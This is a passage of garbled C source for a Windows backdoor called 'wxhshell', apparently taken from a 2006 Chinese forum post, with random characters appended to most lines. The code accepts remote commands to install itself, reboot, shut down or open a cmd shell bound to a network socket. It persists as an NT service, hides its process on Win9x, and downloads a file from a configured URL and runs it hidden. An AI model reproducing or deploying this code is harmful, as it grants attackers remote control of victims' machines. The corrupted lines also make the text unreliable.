  } o8Tt|Lxb$8  
  else { jy6% CSWQ  
1YQ|KJ*K  
    switch(cmd[0]) { 38rC; 6  
  k|&@xEbS  
  // 帮助 !x&/M*nBE  
  case '?': { -MeGJX:^I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P0|V1,)  
    break; hg |DpP  
  } rry 33  
  // 安装 `vUilh ^c  
  case 'i': { lNqYpyvy*  
    if(Install()) Z+E@B>D7A^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MsfY|(/m  
    else $(G.P!/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L%Me wU0TZ  
    break; )%gi gQZ+  
    } N<9C V!_  
  // 卸载 8|HuxE  
  case 'r': { #T&''a  
    if(Uninstall()) &KT*rL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j$,:cN  
    else E&/#Ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >6KuZ_  
    break; Ic P]EgB  
    } }e  s  
  // 显示 wxhshell 所在路径 P|l62!m<   
  case 'p': { xhWWl(r`5  
    char svExeFile[MAX_PATH]; !Qy%sY  
    strcpy(svExeFile,"\n\r"); r ".*l?=  
      strcat(svExeFile,ExeFile); pxDkf|*   
        send(wsh,svExeFile,strlen(svExeFile),0); 'H0uvvhOp  
    break; I x kL]  
    } I<Wp,E9G#  
  // 重启 8KiG(6*Q  
  case 'b': { &@<Z7))  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b bCH(fYbu  
    if(Boot(REBOOT)) bnIl@0Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H Rn Q*  
    else { C0(?f[/(M  
    closesocket(wsh); zk#"n&u0  
    ExitThread(0); 4YX/=  
    } UuPXo66F ]  
    break; 6Cfu19Dx  
    } Se{x-vn?p  
  // 关机 y(^t&tgjS  
  case 'd': { /N'0@ q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;UUpkOQO(  
    if(Boot(SHUTDOWN)) =HapCmrx8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uGt}Hn  
    else { = p{55dR  
    closesocket(wsh); 4&N#d;ErC  
    ExitThread(0); ![1+=F !  
    } 6Ft?9 B(F:  
    break; .Q!_.LX  
    } Bm"-X:='  
  // 获取shell X} {z7[  
  case 's': { 5ir Ffr  
    CmdShell(wsh); ;YN`E  
    closesocket(wsh); 7M8oI.?C|  
    ExitThread(0); f.)z_RyGd  
    break;  R.x^  
  } `)y<X#[8  
  // 退出 RISDjU3  
  case 'x': {  m#K)%0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {&dbxj-'  
    CloseIt(wsh); Fc&3tw"g  
    break; ZNDn! Sj  
    } c V$an  
  // 离开 S@Iza9\|@  
  case 'q': { NMs 8^O|0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \<ko)I#%  
    closesocket(wsh); I|n? 32F  
    WSACleanup(); 6;:z?Q  
    exit(1); kz_gR;"(Z  
    break; q]scKWYI  
        } -.@dA'j[  
  } _sqj~|K  
  } dl]pdg<  
vmzc0J+3p  
  // 提示信息 DHq#beN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ='vD4}"j  
} NiH =T  
  } k=W~ot &  
TTa$wiW7'  
  return; oBO4a^D  
} ,xw1B-dx  
\wV^uS   
// shell模块句柄 l"zA~W/  
int CmdShell(SOCKET sock) u{-@,-{  
{ gc\/A\F<  
STARTUPINFO si; O llS  
ZeroMemory(&si,sizeof(si)); %*zV&H   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2$OV`qy@?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3D-0 N0o  
PROCESS_INFORMATION ProcessInfo; J@o_-\@  
char cmdline[]="cmd"; 8NkyT_\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EQWRfx?d  
  return 0; w}]BJ<C  
} )1 f%kp#]  
(|\%)v H-  
// 自身启动模式 G} f9:G  
int StartFromService(void) 0q28Ulv9  
{ 2`^6``  
typedef struct 6gabnW3  
{ [_eT{v2B4  
  DWORD ExitStatus; :7M%/#Fy  
  DWORD PebBaseAddress; GorEHlvVh  
  DWORD AffinityMask; H_ a##z  
  DWORD BasePriority; fH@cC`  
  ULONG UniqueProcessId; 4.Q[Tu  
  ULONG InheritedFromUniqueProcessId; /mA\)TL|]  
}   PROCESS_BASIC_INFORMATION; 2n+ud ?|l  
Im?/#tX  
PROCNTQSIP NtQueryInformationProcess; E-%$1=;  
Q<NQ9lX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?S;z!) H)P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lVuBo&  
b# Dd  
  HANDLE             hProcess; g(auB/0s  
  PROCESS_BASIC_INFORMATION pbi; ce;$)Ff\  
@~Ys*]4UE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >z~_s6#CP  
  if(NULL == hInst ) return 0; ;GE6S{~-  
kh@O_Q`j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tU$n3Bg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ySI}Nm>&=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S|xwYaoy%  
n*ROlCxV  
  if (!NtQueryInformationProcess) return 0; M3elog:M  
]#[4eaCg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #D#kw*c  
  if(!hProcess) return 0; 2 FoLJ  
s$zm)y5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QOgGL1)7-  
0i"2s}^+_  
  CloseHandle(hProcess); =E$bZe8  
e|W;(@$<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]8R@2L3s  
if(hProcess==NULL) return 0; Q>$lf.)  
} xA@3RT  
HMODULE hMod; $IS!GS&:  
char procName[255]; KgbBa2@ +  
unsigned long cbNeeded; s?s ,wdp  
7x77s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |'&$VzA  
dl3;A_ 2  
  CloseHandle(hProcess); +)bn}L>R l  
Tt9cX}&&  
if(strstr(procName,"services")) return 1; // 以服务启动 *iY:R  
u  Fw1%  
  return 0; // 注册表启动 kN3 <l7  
} }ng?Ar[  
4!OGNr$V@  
// 主模块 ES!e/l  
int StartWxhshell(LPSTR lpCmdLine) ?&zi{N  
{ E%;$vj'2  
  SOCKET wsl; CS(XN>N  
BOOL val=TRUE; 7QnWw0  
  int port=0; 2z" <m2 a  
  struct sockaddr_in door; Z9NND  
YjnQ@IfIH  
  if(wscfg.ws_autoins) Install(); (]\p'%A)  
v&(=^A\eN  
port=atoi(lpCmdLine); \.oJ/++  
]cv|dc=  
if(port<=0) port=wscfg.ws_port; 7]{t^*  
Q\}-MiI/  
  WSADATA data; ?%su?L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IY8<^Q']  
:!Dm,PP%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   iPV-w_HQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,52Lm=n  
  door.sin_family = AF_INET; - AgD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }aVzr}!  
  door.sin_port = htons(port); N8df1>mW  
&*'^uCna  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z/h]Jos  
closesocket(wsl); rm ;U' &{  
return 1; vf@j d}?  
} jIr\.i  
?< ^8,H  
  if(listen(wsl,2) == INVALID_SOCKET) { 1kpw*$P0  
closesocket(wsl); Nu?A>Q  
return 1; "adic?5  
} *P9"1K +  
  Wxhshell(wsl); kvbW^pl  
  WSACleanup(); <uS/8MP{  
$#+D:W)az  
return 0; 1\UU"  
P*?|E@;s`  
} 6;:D!},'c  
o6;  
// 以NT服务方式启动 6{^\7`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j;E$7QH[  
{ 1$Q[%9  
DWORD   status = 0; 6,jCO@!   
  DWORD   specificError = 0xfffffff; !~%DR~^`  
T(Q ~b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s@"|o3BX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jUNt4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {wA8!5Gu  
  serviceStatus.dwWin32ExitCode     = 0; 41d+z>a]  
  serviceStatus.dwServiceSpecificExitCode = 0; @iV-pJ-  
  serviceStatus.dwCheckPoint       = 0; >itabG-&  
  serviceStatus.dwWaitHint       = 0; Rvu5#_P  
0M&n3s{5I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0fBwy/:  
  if (hServiceStatusHandle==0) return; 2jC:uk  
BF2U$-k4  
status = GetLastError(); &PL=nI\)  
  if (status!=NO_ERROR) 4t }wMOR  
{ Z ]  G#:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M_UmnqN1C  
    serviceStatus.dwCheckPoint       = 0; KWjhkRK4]  
    serviceStatus.dwWaitHint       = 0; G%l')e)9Gq  
    serviceStatus.dwWin32ExitCode     = status; k) Lhzr[  
    serviceStatus.dwServiceSpecificExitCode = specificError; k Qr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <yEApWd;  
    return; ~' 955fK>  
  } |hi,]D^Kc  
4.wrY6+V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U7jDm>I  
  serviceStatus.dwCheckPoint       = 0; d7r!<u&/  
  serviceStatus.dwWaitHint       = 0; y7!&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .'H$|"( v  
} f&^"[S"\f  
;qUB[Kw  
// 处理NT服务事件,比如:启动、停止 4XVwi<)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F."ZCEb  
{ B=n90XO |  
switch(fdwControl) Dzu//_u  
{ |:#Ug  
case SERVICE_CONTROL_STOP: c;"e&tW  
  serviceStatus.dwWin32ExitCode = 0; UcB&p t&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $MQ<QP  
  serviceStatus.dwCheckPoint   = 0; bfncO[Q,?  
  serviceStatus.dwWaitHint     = 0; W/t,7lPFb  
  { 2 yANf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Ta-3Eh!  
  } 4[kyzz x  
  return; LprGsqr:  
case SERVICE_CONTROL_PAUSE: %B#T"=Cx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `kvIw,c.  
  break; wN%lc3[/z2  
case SERVICE_CONTROL_CONTINUE: (2Lmu[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uvc$&j^k  
  break; O:rf DO  
case SERVICE_CONTROL_INTERROGATE: t,/8U  
  break; 0nD?X+u  
}; d(V4;8a0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : KFK2yD  
} Dbi ^%  
Z+6WG  
// 标准应用程序主函数 v%2Dz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d*6/1vyjT  
{ P/WGB~NH  
t&w.Wc X)  
// 获取操作系统版本 ?<N} Xh  
OsIsNt=GetOsVer(); EHhc2^e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gukvd6-g9b  
1Vz^?t:  
  // 从命令行安装 ey9hrRMR  
  if(strpbrk(lpCmdLine,"iI")) Install(); p&<n_b  
Ev3'EA~`  
  // 下载执行文件 )h0>e9z>Y  
if(wscfg.ws_downexe) { }|;j2'(R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k}nGgd6XD  
  WinExec(wscfg.ws_filenam,SW_HIDE); \P":V  
} IOC$jab@  
@oH\r-jsgu  
if(!OsIsNt) { 3!sZA?q  
// 如果时win9x,隐藏进程并且设置为注册表启动 I Ij:3HP  
HideProc(); wVI_SQ<8V  
StartWxhshell(lpCmdLine); L ..  
} L.-qTh^P  
else Ho*B<#&(A|  
  if(StartFromService()) ^["D>@yIR  
  // 以服务方式启动 u0k'Jh]K  
  StartServiceCtrlDispatcher(DispatchTable); keD?#yY  
else >}NnzZ  
  // 普通方式启动  gsi2  
  StartWxhshell(lpCmdLine); \/SOpC  
gn.)_  
return 0; wxJ"{(;  
}
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只看该作者 1 发表于: 2006-10-10
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